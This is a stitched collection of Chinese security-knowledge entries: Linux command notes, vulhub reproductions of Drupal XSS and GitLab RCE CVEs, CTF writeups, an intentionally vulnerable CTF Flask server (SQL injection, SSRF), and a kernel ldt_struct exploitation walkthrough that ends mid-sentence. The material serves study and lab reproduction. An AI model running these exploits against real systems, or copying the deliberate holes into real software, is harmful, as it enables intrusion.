`/tmp/kallsyms` 获取 `commit_creds` 和 `prepare_kernel_cred` 的方法相同,同时根据这些偏移能确定 gadget 的地址。 2. leak canary 的方法也相同,通过控制全局变量 `off` 读出 canary。 3. 与 kernel rop 做法不同的是 rop 链的构造 1. kernel rop 通过 内核空间的 rop 链达到执行 `commit_creds(prepare_kernel_cred(0))` 以提权目的,之后通过 `swapgs; iretq` 等返回到用户态,执行用户空间的 `system("/bin/sh")` 获取 shell 2. ret2usr 做法中,直接返回到用户空间构造的 `commit_creds(prepare_kernel_cred(0))` (通过函数指针实现)来提权,虽然这两个函数位于内核空间,但此时我们是 `ring 0` 特权,因此可以正常运行。之后也是通过 `swapgs; iretq` 返回到用户态来执行用户空间的 `system("/bin/sh")` 从这两种做法的比较可以体会出之所以要 `ret2usr`,是因为一般情况下在用户空间构造特定目的的代码要比在内核空间简单得多。 ## KPTI 与 ret2usr 对于开启了 KPTI 的内核而言,内核页表的用户地址空间无执行权限,因此当内核尝试执行用户空间代码时,由于对应页顶级表项没有设置可执行位,因此会直接 panic,这意味着**实际上 ret2usr 已经是过去式了**。
sec-knowleage
join === 两个文件中指定栏位内容相同的行连接起来 ## 补充说明 **join命令** 用来将两个文件中,制定栏位内容相同的行连接起来。找出两个文件中,指定栏位内容相同的行,并加以合并,再输出到标准输出设备。 ### 语法 ```shell join(选项)(参数) ``` ### 选项 ```shell -a<1或2>:除了显示原来的输出内容之外,还显示指令文件中没有相同栏位的行; -e<字符串>:若[文件1]与[文件2]中找不到指定的栏位,则在输出中填入选项中的字符串; -i或--ignore-case:比较栏位内容时,忽略大小写的差异; -o<格式>:按照指定的格式来显示结果; -t<字符>:使用栏位的分割字符; -v<1或2>:更-a相同,但是只显示文件中没有相同栏位的行; -1<栏位>:连接[文件1]指定的栏位; -2<栏位>:连接[文件2]指定的栏位。 ``` ### 参数 * 文件1:要进行合并操作的第1个文件参数; * 文件2:要进行合并操作的第2个文件参数。 ### 常见用法 把两个文件制定栏位内容相同的行连接起来: ```shell [root@localhost ~]# cat name 1 xiaoming 2 xiaowang 3 xiaoliu [root@localhost ~]# cat city 1 beijing beijing 2 hubei wuhan 3 hunan changsha # city文件在后,则拼接在后,如果city文件在前,则name文件拼接在后。 [root@localhost ~]# join name city 1 xiaoming beijing beijing 2 xiaowang hubei wuhan 3 xiaoliu hunan changsha ``` 把两个文件指定列拼接起来: ```shell # 把name文件的第2列和city文件的第3列拼接起来 [root@localhost ~]# join -o 1.2 2.3 name city xiaoming beijing xiaowang wuhan xiaoliu changsha ```
sec-knowleage
#!/usr/bin/env python3 import inspect import os import random import sqlite3 import string import sys import base64 from html import escape from urllib import parse from typing import Union, List, Tuple import datetime from subprocess import STDOUT, check_output import requests from flask import Flask, send_from_directory, send_file, request, Response, g, make_response, jsonify from flags import DB_SECRET, DECRYPTED, DEV_NULL, LOCALHOST, LOGGED_IN STATIC_PATH = "../client/site" DATABASE = ".paperbots.db" MIGRATION_PATH = "./db/V1__Create_tables.sql" THUMBNAIL_PATH = os.path.join(STATIC_PATH, "thumbnails") WEE_PATH = "../weelang" WEETERPRETER = "weeterpreter.ts" WEE_TIMEOUT = 5 os.makedirs(THUMBNAIL_PATH, exist_ok=True) app = Flask(__name__, static_folder=STATIC_PATH, static_url_path="/static") encrypted = None def get_db() -> sqlite3.Connection: db = getattr(g, '_database', None) if db is None: db = g._database = sqlite3.connect(DATABASE) return db def init_db(): with app.app_context(): db = get_db() with open(MIGRATION_PATH, "r") as f: db.cursor().executescript(f.read()) db.execute("CREATE TABLE `secrets`(`id` INTEGER PRIMARY KEY AUTOINCREMENT, `secret` varchar(255) NOT NULL)") db.execute("INSERT INTO secrets(secret) values(?)", (DB_SECRET,)) db.commit() def query_db(query, args=(), one=True) -> Union[List[Tuple], Tuple, None]: if not isinstance(args, tuple): args = (args,) cur = get_db().execute(query, args) rv = cur.fetchall() cur.close() return (rv[0] if rv else None) if one else rv def user_by_token(token) -> Tuple[int, str, str, str]: """ queries and returns userId, username, email, usertype for a given token :param token: the token :return: userId, name, email, usertype """ if not token: raise AttributeError("Token must not be empty") userId, = query_db("SELECT userId FROM userTokens WHERE token=?", token) # TODO: Join this? name, email, usertype = query_db("SELECT name, email, type FROM users WHERE id=?", userId) return userId, name, email, usertype def random_code(length=6) -> str: return "".join([random.choice(string.ascii_lowercase)[0] for x in range(length)]) def get_code(username): db = get_db() c = db.cursor() userId, = query_db("SELECT id FROM users WHERE name=?", username) code = random_code() c.execute("INSERT INTO userCodes(userId, code) VALUES(?, ?)", (userId, code)) db.commit() # TODO: Send the code as E-Mail instead :) return code def jsonify_projects(projects, username, usertype): return jsonify([ {"code": x[0], "userName": x[1], "title": x[2], "public": x[3], "type": x[4], "lastModified": x[5], "created": x[6], "content": x[7] } for x in projects if usertype == "admin" or x[1] == username or x[3] ]) @app.teardown_appcontext def close_connection(exception): db = getattr(g, '_database', None) if db is not None: db.close() # Error handling @app.errorhandler(404) def fourohfour(e): return send_file(os.path.join(STATIC_PATH, "404.html")), 404 @app.errorhandler(500) def fivehundred(e): return jsonify({"error": str(e)}), 500 @app.after_request def secure(response: Response): if not request.path[-3:] in ["jpg", "png", "gif"]: response.headers["X-Frame-Options"] = "SAMEORIGIN" response.headers["X-Xss-Protection"] = "1; mode=block" response.headers["X-Content-Type-Options"] = "nosniff" response.headers["Content-Security-Policy"] = "script-src 'self' 'unsafe-inline';" response.headers["Referrer-Policy"] = "no-referrer-when-downgrade" response.headers["Feature-Policy"] = "geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; " \ "camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; " \ "fullscreen *; payment 'self'; " if request.remote_addr == "127.0.0.1": response.headers["X-Localhost-Token"] = LOCALHOST return response @app.route("/", methods=["GET"]) def main(): return send_file(os.path.join(STATIC_PATH, "index.html")) @app.route("/kitten.png") def kitten(): return send_file(os.path.join(STATIC_PATH, "img/kitten.png")) # The actual page @app.route("/<path:filename>", methods=["GET"]) def papercontents(filename): return send_from_directory(STATIC_PATH, filename) @app.route("/api/signup", methods=["POST"]) def signup(): usertype = "user" json = request.get_json(force=True) name = escape(json["name"].strip()) email = json["email"].strip() if len(name) == 0: raise Exception("InvalidUserName") if len(email) == 0: raise Exception("InvalidEmailAddress") if not len(email.split("@")) == 2: raise Exception("InvalidEmailAddress") email = escape(email.strip()) # Make sure the user name is 4-25 letters/digits only. if len(name) < 4 or len(name) > 25: raise Exception("InvalidUserName") if not all([x in string.ascii_letters or x in string.digits for x in name]): raise Exception("InvalidUserName") # Check if name exists if query_db("SELECT name FROM users WHERE name=?", name): raise Exception("UserExists") if query_db("Select id, name FROM users WHERE email=?", email): raise Exception("EmailExists") # Insert user // TODO: implement the verification email db = get_db() c = db.cursor() c.execute("INSERT INTO users(name, email, type) values(?, ?, ?)", (name, email, usertype)) db.commit() return jsonify({"success": True}) @app.route("/api/login", methods=["POST"]) def login(): print("Logging in?") # TODO Send Mail json = request.get_json(force=True) login = json["email"].strip() try: userid, name, email = query_db("SELECT id, name, email FROM users WHERE email=? OR name=?", (login, login)) except Exception as ex: raise Exception("UserDoesNotExist") return get_code(name) @app.route("/api/verify", methods=["POST"]) def verify(): code = request.get_json(force=True)["code"].strip() if not code: raise Exception("CouldNotVerifyCode") userid, = query_db("SELECT userId FROM userCodes WHERE code=?", code) db = get_db() c = db.cursor() c.execute("DELETE FROM userCodes WHERE userId=?", (userid,)) token = random_code(32) c.execute("INSERT INTO userTokens (userId, token) values(?,?)", (userid, token)) db.commit() name, = query_db("SELECT name FROM users WHERE id=?", (userid,)) resp = make_response() resp.set_cookie("token", token, max_age=2 ** 31 - 1) resp.set_cookie("name", name, max_age=2 ** 31 - 1) resp.set_cookie("logged_in", LOGGED_IN) return resp @app.route("/api/logout", methods=["POST"]) def logout(): request.cookies.get("token") resp = make_response() resp.set_cookie("token", "") resp.set_cookie("name", "") resp.set_cookie("logged_in", "") return resp @app.route("/api/getproject", methods=["POST"]) def getproject(): # TODO: Do. project_id = request.get_json(force=True)["projectId"] token = request.cookies.get("token") try: userId, name, email, usertype = user_by_token(token) except AttributeError: name = "" usertype = "user" project = query_db("SELECT code, userName, title, description, content, public, type, lastModified, created " "FROM projects WHERE code=?", (project_id,)) if not project or (not project[5] and not name == project[1] and not usertype == "admin"): raise Exception("ProjectDoesNotExist") return jsonify({ "code": project[0], "userName": project[1], "title": project[2], "description": project[3], "content": project[4], "public": project[5], "type": project[6], "lastModified": project[7], "created": project[8] }) @app.route("/api/getprojects", methods=["POST"]) def getuserprojects(): username = request.get_json(force=True)["userName"] projects = query_db("SELECT code, userName, title, public, type, lastModified, created, content " "FROM projects WHERE userName=? ORDER BY lastModified DESC", (username), False) name = "" usertype = "user" if "token" in request.cookies: userId, name, email, usertype = user_by_token(request.cookies["token"]) return jsonify_projects(projects, name, usertype) @app.route("/api/saveproject", methods=["POST"]) def saveproject(): json = request.get_json(force=True) name = request.cookies["name"] token = request.cookies["token"] # TODO String projectId = paperbots.saveProject(ctx.cookie("token"), request.getCode(), request.getTitle(), request.getDescription(), request.getContent(), request.isPublic(), request.getType()); userId, username, email, usertype = user_by_token(token) db = get_db() c = db.cursor() if not json["code"]: project_id = random_code(6) c.execute( "INSERT INTO projects(userId, userName, code, title, description, content, public, type) " "VALUES(?,?,?,?,?,?,?,?)", (userId, username, project_id, escape(json["title"]), escape(json["description"]), json["content"], True, json["type"])) db.commit() return jsonify({"projectId": project_id}) else: c.execute("UPDATE projects SET title=?, description=?, content=?, public=? WHERE code=? AND userId=?", (escape(json["title"]), escape(json["description"]), json["content"], True, json["code"], userId) ) db.commit() return jsonify({"projectId": json["code"]}) @app.route("/api/savethumbnail", methods=["POST"]) def savethumbnail(): name = request.cookies["name"] token = request.cookies["token"] userId, username, email, usertype = user_by_token(token) json = request.get_json(force=True) thumbnail = json["thumbnail"] # type: str project_id = json["projectId"] if not thumbnail.startswith("data:image/png;base64,"): raise Exception("Hacker") thumbnail = thumbnail[len("data:image/png;base64,"):].encode("ascii") decoded = base64.b64decode(thumbnail) project_username, = query_db("SELECT userName FROM projects WHERE code=?", (project_id,)) if project_username != username: raise Exception("Hack on WeeLang, not the Server!") with open(os.path.join(THUMBNAIL_PATH, "{}.png".format(project_id)), "wb+") as f: f.write(decoded) return jsonify({"projectId": project_id}) @app.route("/api/deleteproject", methods=["POST"]) def deleteproject(): name = request.cookies["name"] token = request.cookies["token"] userid, username, email, usertype = user_by_token(token) json = request.get_json(force=True) projectid = json["projectId"] project_username = query_db("SELECT userName FROM projects WHERE code=?", (projectid,)) if project_username != username and usertype != "admin": raise Exception("Nope") db = get_db() c = db.cursor() c.execute("DELETE FROM projects WHERE code=?", (projectid,)) db.commit() # raise Exception("The Internet Never Forgets") return {"projectId": projectid} # Admin endpoints @app.route("/api/getprojectsadmin", methods=["POST"]) def getprojectsadmin(): # ProjectsRequest request = ctx.bodyAsClass(ProjectsRequest.class); # ctx.json(paperbots.getProjectsAdmin(ctx.cookie("token"), request.sorting, request.dateOffset)); name = request.cookies["name"] token = request.cookies["token"] user, username, email, usertype = user_by_token(token) json = request.get_json(force=True) offset = json["offset"] sorting = json["sorting"] if name != "admin": raise Exception("InvalidUserName") sortings = { "newest": "created DESC", "oldest": "created ASC", "lastmodified": "lastModified DESC" } sql_sorting = sortings[sorting] if not offset: offset = datetime.datetime.now() return jsonify_projects(query_db( "SELECT code, userName, title, public, type, lastModified, created, content FROM projects WHERE created < '{}' " "ORDER BY {} LIMIT 10".format(offset, sql_sorting), one=False), username, "admin") @app.route("/api/getfeaturedprojects", methods=["POST"]) def getfeaturedprojects(): try: name = request.cookies["name"] token = request.cookies["token"] userid, username, email, usertype = user_by_token(token) except Exception as ex: username = "" usertype = "user" projects = query_db("SELECT code, userName, title, type, lastModified, created, content FROM projects " "WHERE featured=1 AND public=1 ORDER BY lastModified DESC", one=False) return jsonify_projects(projects, username, usertype) # Proxy images to avoid tainted canvases when thumbnailing. @app.route("/api/proxyimage", methods=["GET"]) def proxyimage(): url = request.args.get("url", '') parsed = parse.urlparse(url, "http") # type: parse.ParseResult if not parsed.netloc: parsed = parsed._replace(netloc=request.host) # type: parse.ParseResult url = parsed.geturl() resp = requests.get(url) if not resp.headers["Content-Type"].startswith("image/"): raise Exception("Not a valid image") # See https://stackoverflow.com/a/36601467/1345238 excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection'] headers = [(name, value) for (name, value) in resp.raw.headers.items() if name.lower() not in excluded_headers] response = Response(resp.content, resp.status_code, headers) return response # Additional pyserver functions: # Wee as a service. def runwee(wee: string) -> string: print("{}: running {}".format(request.remote_addr, wee)) result = check_output( ["ts-node", '--cacheDirectory', os.path.join(WEE_PATH, "__cache__"), os.path.join(WEE_PATH, WEETERPRETER), wee], shell=False, stderr=STDOUT, timeout=WEE_TIMEOUT, cwd=WEE_PATH).decode("utf-8") print("{}: result: {}".format(request.remote_addr, result)) return result @app.route("/wee/run", methods=["POST"]) def weeservice(): json = request.get_json(force=True) wee = json["code"] out = runwee(wee) return jsonify({"code": wee, "result": out}) @app.route("/wee/dev/null", methods=["POST"]) def dev_null(): json = request.get_json(force=True) wee = json["code"] wee = """ var DEV_NULL: string = '{}' {} """.format(DEV_NULL, wee) _ = runwee(wee) return "GONE" @app.route("/wee/encryptiontest", methods=["GET"]) def encryptiontest(): global encrypted if not encrypted: wee = """ # we use weelang to encrypt secrets completely secret record pubkey n: string e: string end var key = pubkey('951477056381671188036079180681828396446164466568923964269373812360568216940258578681673755725586138473475522188240856850626984093905399964041687626629414562063470963902807801143023140969208234239276778397171817582591827008690056789763534174119863046106813515750863733543758319811194784246845138921495556311458180478538856550842509692686396679117903040148607642710832573838027274004952072516749168425434697690016707327002989407014753735313730653189661541750880855213165937564578292464379167857778759136474173425831340306919705672933486711939333953750637729967455118475408369751602538202818190663939706886093046526104043062374288648189070207772477271879494000411582080352364098957455090381238978031676375437980396931371164061080967754225429135119036489128165414029872153856547376448552882344531325480944511714482341088742350110097372766748364926941000441524157824859511557342673524388056049358362600925172299990719998873868038194555465008036497932945812845340638853399732721987228486858193979073913761760370769609347622795498987306822413134236749607735657967667902966667996797241364688793919066445360547749193845825298342626288990158730149727398354192053692360716383851051271618559075048012800235250387837052573541157845958948856954035758915157871993646182544696043757263004887914724250286341123038686355398997399922927237477691269351791943572679717263938613148630387793458838416117454016370454288153779764863162055098229903413503857354581027436855574871814478747237999617879024407403954905986969721336803258774514397600947175650242674193496614652267158753817350136305620268076457813070726099248681642612063203170442453405051455877524709366973062774037044772079720703743828695351198984334830532193564525916901461725538418714517302390850049543856542699391339075976843028654004552169277571339017161697013373622770115406681080294994790626557117129820457988045974009530185622113951540819939983153190486345031549722007896699102268137425607039925174692583738394816628508716999668221820730737934785438568198334912127263127241407430459511422030656861043544813130287622862247904749760983465608684778389799703770877931875268858524702991767450720773677639856979930404508755100624844341829896497906824520180051038779126563860453039035779455387733056343833776802716194138072528278142786901904343407377649000988142255369860324110311816186668720584468851089864315465497405748709976389375632079690963423708940060402561050963276766635011726613211018206198125893007608417148033891841809', '3') fun encrypt(message: string, key: pubkey): string return bigModPow(strToBig(message), key.e, key.n) end fun get_cypher(key: pubkey): string var message = '{}' return encrypt(message, key) end alert(get_cypher(key)) """.format(DECRYPTED) encrypted = runwee(wee) return jsonify({"enc": encrypted}) # The pyserver is almost 100% open source! # Just enough to barely get it running but never to its full potential. # We got very positive feedback on HN and nobody bothered to run it anyway. # 11/10 would open source again. @app.route("/pyserver/server.py", methods=["GET"]) def server_source(): return Response(inspect.getsource(sys.modules[__name__]), mimetype='text/x-python') @app.route("/pyserver/flags.py", methods=["GET"]) def server_flags(): return Response(""" DB_SECRET = "35C3_???" DECRYPTED = "35C3_???" DEV_NULL = "35C3_???" LOCALHOST = "35C3_???" LOGGED_IN = "35C3_???" NOT_IMPLEMENTED = "35C3_???" """, mimetype='text/x-python') @app.route("/weelang/{}".format(WEETERPRETER), methods=["GET"]) def weeterpreter_source(): return send_file(os.path.join(WEE_PATH, WEETERPRETER), mimetype="text/x-typescript") @app.route("/weelang/package.json", methods=["GET"]) def weeterpreter_deps(): return send_file(os.path.join(WEE_PATH, "package.json")) @app.route("/weelang/flags.ts", methods=["GET"]) def weeterpreter_flags(): return Response(""" export const CONVERSION_ERROR = "35C3_???" export const EQUALITY_ERROR = "35C3_???" export const LAYERS = "35C3_???" export const NUMBER_ERROR = "35C3_???" export const WEE_R_LEET = "35C3_???" export const WEE_TOKEN = "35C3_???" """, mimetype="text/x-typescript") @app.before_first_request def maybe_init_db(): if not os.path.exists(DATABASE): init_db() if __name__ == "__main__": app.run(host="0.0.0.0", port=8075)
sec-knowleage
.\" Copyright (C) 1996 Andries Brouwer (aeb@cwi.nl) .\" .\" %%%LICENSE_START(VERBATIM) .\" Permission is granted to make and distribute verbatim copies of this .\" manual provided the copyright notice and this permission notice are .\" preserved on all copies. .\" .\" Permission is granted to copy and distribute modified versions of this .\" manual under the conditions for verbatim copying, provided that the .\" entire resulting derived work is distributed under the terms of a .\" permission notice identical to this one. .\" .\" Since the Linux kernel and libraries are constantly changing, this .\" manual page may be incorrect or out-of-date. The author(s) assume no .\" responsibility for errors or omissions, or for damages resulting from .\" the use of the information contained herein. The author(s) may not .\" have taken the same level of care in the production of this manual, .\" which is licensed free of charge, as they might when working .\" professionally. .\" .\" Formatted or processed versions of this manual, if unaccompanied by .\" the source, must acknowledge the copyright and authors of this work. .\" %%%LICENSE_END .\" .\" Moved to man3, aeb, 980612 .\" .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH ULIMIT 3 2017\-09\-15 Linux "Linux 程序员手册" .SH 名称 ulimit \- 获取并设置用户限制 .SH 概述 \fB#include <ulimit.h>\fP .PP \fBlong ulimit(int \fP\fIcmd\fP\fB, long \fP\fInewlimit\fP\fB);\fP .SH 描述 警告:该例程已过时。请使用 \fBgetrlimit\fP(2)、\fBsetrlimit\fP(2) 和 \fBsysconf\fP(3) 代替。有关 shell 命令 \fBulimit\fP() 请参见 \fBbash\fP(1)。 .PP \fBulimit\fP() 调用可以获取或设置调用进程的某些限制。\fIcmd\fP 参数可以取如下的值。 .TP \fBUL_GETFSIZE\fP 返回文件大小相关的限制,单位为 512 字节。 .TP \fBUL_SETFSIZE\fP 设置文件大小相关的限制。 .TP \fB3\fP (Linux 未实现。)返回数据段可能的最大地址。 .TP \fB4\fP (已实现,但未提供符号常量。)返回调用进程可以打开文件的最大数量。 .SH 返回值 如果成功,\fBulimit\fP() 返回非零值。如果出错,返回值为 \-1,且将相应设置 \fIerrno\fP 的值。 .SH 错误 .TP \fBEPERM\fP 一个无权限的进程尝试提升限制。 .SH 属性 如需了解本节中所使用术语的解释,请查看 \fBattributes\fP(7)。 .TS allbox; lb lb lb l l l. 接口 属性 值 T{ \fBulimit\fP() T} 线程安全性 多线程安全 .TE .sp 1 .SH 遵循标准 SVr4,POSIX.1\-2001。POSIX.1\-2008 将 \fBulimit\fP() 标记为过时。 .SH 参见 \fBbash\fP(1), \fBgetrlimit\fP(2), \fBsetrlimit\fP(2), \fBsysconf\fP(3) .SH 注记 此页面是 Linux \fIman\-pages\fP 项目 5.10 版的一部分。您可以访问 \%https://www.kernel.org/doc/man\-pages/ 来了解项目的描述、报告问题的方法和此页面的最新版本。
sec-knowleage
# Drupal XSS漏洞(CVE-2019-6341) * 影响软件:Drupal * 方式:通过文件模块或者子系统上传恶意文件触发XSS漏洞 * 参考链接:[Drupal 1-click to RCE 分析](https://paper.seebug.org/897/) * 效果:JS代码执行(Cookies 资料窃取、会话劫持、钓鱼欺骗、网页挂马等) ## 漏洞环境 执行如下命令启动drupal 8.5.0的环境: ```bash docker compose up -d ``` 环境启动后,访问 `http://your-ip:8080/` 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。 ## 漏洞复现 该漏洞需要利用drupal文件模块上传文件的漏洞,伪造一个图片文件,上传,文件的内容实际是一段HTML代码,内嵌JS,这样其他用户在访问这个链接时,就可能触发XSS漏洞。 Drupal 的图片默认存储位置为 `/sites/default/files/pictures/<YYYY-MM>/`,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。 使用PoC上传构造好的伪造GIF文件,PoC参考[thezdi/PoC](https://github.com/thezdi/PoC/tree/master/Drupal)的PoC。 如图,输入如下命令,即可使用PoC构造样本并完成上传功能,第一个参数为目标IP 第二个参数为目标端口。 ```bash php cve-2019-6341-exp.php 192.168.11.1 8080 ``` ![1](1.png) 上传成功后,访问图片位置,即可触发 XSS 漏洞,如下图所示。 Tips: 1. 因为 Chrome 和 FireFox 浏览器自带部分过滤 XSS 功能,所以验证存在时可使用 Edge 浏览器或者 IE 浏览器。 2. 访问的图片名称为_0的原因是因为 Drupal 的规则机制,具体原理见[Drupal 1-click to RCE 分析](https://paper.seebug.org/897/) ![2](2.png)
sec-knowleage
version: '2' services: web: image: vulhub/v2board:1.6.1 ports: - "8080:80" depends_on: - db - redis entrypoint: - bash - /entrypoint.sh volumes: - ./entrypoint.sh:/entrypoint.sh command: apache2-foreground db: image: mysql:5.7 environment: - MYSQL_ROOT_PASSWORD=root - MYSQL_DATABASE=v2board redis: image: redis:7-alpine
sec-knowleage
logname === 打印当前终端登录用户的名称。 ## 概要 ```shell logname [OPTION]... ``` ## 主要用途 - 打印当前终端登录用户的名称。 ## 选项 ```shell --help 显示帮助信息并退出。 --version 显示版本信息并退出。 ``` ## 返回值 返回0表示成功,返回非0值表示失败。 ## 例子 ```shell [root@localhost ~]# logname root ``` ### 注意 1. 注意区分 `whoami` 和 `logname` 这两个命令;比如我们以用户 `root` 打开的终端,然后切换到了用户 `user2`。此时, `whoami`返回的是当前用户 `user2`, `logname` 返回的是 `root`,大家可以自行实践验证一下。 2. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 logname`,`info coreutils 'logname invocation'`。
sec-knowleage
# GitLab 远程命令执行漏洞(CVE-2021-22205) GitLab是一款Ruby开发的Git项目管理平台。在11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞[CVE-2021-22204](https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html)的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行任意命令。 参考链接: - https://hackerone.com/reports/1154542 - https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html - https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/ - https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-22205.yaml ## 漏洞环境 执行如下命令启动一个GitLab 13.10.1版本服务器: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080`即可查看到GitLab的登录页面。 ## 漏洞复现 GitLab的/uploads/user接口可以上传图片且无需认证,利用[poc.py](poc.py)脚本来测试这个漏洞: ``` python poc.py http://your-ip:8080 "touch /tmp/success" ``` ![](1.png) 进入容器内,可见`touch /tmp/success`已成功执行: ![](2.png)
sec-knowleage
# BitBitBit (crypto, 8 solved, 860p) In the task we get the [server code](server.py). What happens is we get RSA-encrypted flag from the server, along with the public key and some parameters based on the private key primes. The inteded solution was to analyse the key generation algorithm and recover the private key. But we figured that there is an easier way to solve the problem. Look at the code: ```python from flag import FLAG N, delta, gamma = gen_key() m = int(FLAG.encode('hex'), 16) c = powmod(m, 0x10001, N) ``` If we look at the challenge again we can see that the challenge with every connection gives us public key and encrypted flag. Public key exponent is always the same 65537, and the modulus changes every time. Apart from large `e`, this is pretty much a textbook setup for Hastad Broadcast Attack. The flag doesn't seem to get padded in the code, and it's unlikely to be super long, so maybe we don't even need all 65537 values to recover the flag. There is a PoW to solve when we connect to the server, so it took a while to grab all the necessary data, but once it's done we can proceed to calculate Chinese Remainder Theorem. We even did a parallel solver for that: https://github.com/p4-team/crypto-commons/blob/master/crypto_commons/rsa/crt.py since the calculations can be easily separated into map-reduce steps. Initially we were hoping for a flag around 32 bytes long, so only 10k messages would be enough, but it turned out we needed to get 20k because the flag was: `MeePwnCTF{It_is_the_time_to_move_to_Post_Quantum_Cryptography_DAGS}`
sec-knowleage
supervisord === 配置后台服务/常驻进程的进程管家工具 ## 安装 ```shell # 安装 supervisord apt-get install supervisor ``` ## 实例 生成配置文件 `/etc/supervisord.conf` ```shell [program:app] command=/usr/bin/gunicorn -w 1 wsgiapp:application directory=/srv/www user=www-data ``` supervisord: 启动 supervisor 服务 ```shell supervisorctl start app supervisorctl stop app supervisorctl reload # 修改/添加配置文件需要执行这个 ``` ## 下载地址 https://pypi.python.org/pypi/meld3 https://pypi.python.org/pypi/supervisor
sec-knowleage
# T1092-通过可移动媒介传播 ## 来自ATT&CK描述 攻击者可以使用可移动媒体,在可能断开网络链接的受感染主机之间执行命令和控制,用于在系统之间传输命令。这两个系统都需要被攻破,一个连接互联网的系统可能首先被攻陷,其次是通过可移动媒体复制的横向移动。命令和文件将从断开连接的系统中继到攻击者可以直接访问的互联网连接系统。 ## 检测 监控可移动媒体上的文件访问。检测安装可移动媒体时执行的进程。国内很多终端桌面管理系统可以对U盘行为进行有效监控。 ## 参考推荐 MITRE-ATT&CK-T1092 <https://attack.mitre.org/techniques/T1092>
sec-knowleage
# 在内存中直接搜索 flag **Initial RAM disk**(`initrd`)提供了在 boot loader 阶段载入一个 RAM disk 并挂载为根文件系统的能力,从而在该阶段运行一些用户态程序,在完成该阶段工作之后才是挂载真正的根文件系统。 initrd 文件系统镜像通常为 gzip 格式,在启动阶段由 boot loader 将其路径传给 kernel,自 2.6 版本后出现了使用 cpio 格式的initramfs,从而无需挂载便能展开为一个文件系统。 initrd/initramfs 的特点便是**文件系统中的所有内容都会被读取到内存当中**,而大部分 CTF 中的 kernel pwn 题目都选择直接将 initrd 作为根文件系统,因此若是我们有着内存搜索能力,我们便能**直接在内存空间中搜索 flag 的内容** :) ## 例题:RWCTF2023体验赛 - Digging into kernel 3 ### 题目分析 题目已经在前面分析过了,这里笔者就不重复分析了 :) ### 漏洞利用:ldt\_struct 直接读取 initramfs 内容 既然题目中已经直接白给出了一个无限制的 UAF,那么利用方式就是多种多样的了 :-D 这里笔者选择利用 [ldt_struct](https://arttnba3.cn/2021/11/29/PWN-0X02-LINUX-KERNEL-PWN-PART-II/#0x03-ldt-struct-%E4%B8%8E-modify-ldt-%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8) 直接在内存空间中搜索 flag 的方式解题。 #### Step.I - 利用 ldt\_struct 进行任意内存读取 ldt 即**局部段描述符表**(**Local Descriptor Table**),其中存放着**进程的**段描述符,段寄存器当中存放着的段选择子便是段描述符表中段描述符的索引,在内核中与 ldt 相关联的结构体为 `ldt_struct` ,该结构体定义如下, `entries` 指针指向一块描述符表的内存,`nr_entries` 表示 LDT 中的描述符数量: ```c struct ldt_struct { /* * Xen requires page-aligned LDTs with special permissions. This is * needed to prevent us from installing evil descriptors such as * call gates. On native, we could merge the ldt_struct and LDT * allocations, but it's not worth trying to optimize. */ struct desc_struct *entries; unsigned int nr_entries; /* * If PTI is in use, then the entries array is not mapped while we're * in user mode. The whole array will be aliased at the addressed * given by ldt_slot_va(slot). We use two slots so that we can allocate * and map, and enable a new LDT without invalidating the mapping * of an older, still-in-use LDT. * * slot will be -1 if this LDT doesn't have an alias mapping. */ int slot; }; ``` 我们主要关注该结构体如何用作漏洞利用,Linux 提供了一个 `modify_ldt()` 系统调用操纵当前进程的 `ldt_struct` 结构体: ```c SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr , unsigned long , bytecount) { int ret = -ENOSYS; switch (func) { case 0: ret = read_ldt(ptr, bytecount); break; case 1: ret = write_ldt(ptr, bytecount, 1); break; case 2: ret = read_default_ldt(ptr, bytecount); break; case 0x11: ret = write_ldt(ptr, bytecount, 0); break; } /* * The SYSCALL_DEFINE() macros give us an 'unsigned long' * return type, but tht ABI for sys_modify_ldt() expects * 'int'. This cast gives us an int-sized value in %rax * for the return code. The 'unsigned' is necessary so * the compiler does not try to sign-extend the negative * return codes into the high half of the register when * taking the value from int->long. */ return (unsigned int)ret; } ``` 对于 `write_ldt()` 而言其最终会调用 `alloc_ldt_struct()` 分配 ldt 结构体,由于走的是通用的分配路径所以我们可以在该结构体上完成 UAF :) ```c /* The caller must call finalize_ldt_struct on the result. LDT starts zeroed. */ static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries) { struct ldt_struct *new_ldt; unsigned int alloc_size; if (num_entries > LDT_ENTRIES) return NULL; new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL); //... ``` 而 `read_ldt()` 就是简单的读出 LDT 表上内容到用户空间,由于我们有无限制的 UAF,故可以**修改 ldt->entries 完成内核空间中的任意地址读**: ```c static int read_ldt(void __user *ptr, unsigned long bytecount) { //... if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) { retval = -EFAULT; goto out_unlock; } //... out_unlock: up_read(&mm->context.ldt_usr_sem); return retval; } ``` `read_ldt()` 还能帮助我们绕过 KASLR ,这里我们要用到 `copy_to_user()` 的一个特性:对于非法地址,其**并不会造成 kernel panic,只会返回一个非零的错误码**,我们不难想到的是,我们可以多次修改 ldt->entries 并多次调用 modify\_ldt() 以**爆破内核的 page\_offset\_base**,若是成功命中,则 modify\_ldt 会返回给我们一个非负值。 不过由于 hardened usercopy 的存在,我们并不能够直接读取内核代码段或是线性映射区中大小不符的对象的内容,否则会造成 kernel panic。 #### Step.II - 利用 fork 绕过 hardened usercopy 虽然在用户空间与内核空间之间的数据拷贝存在 hardened 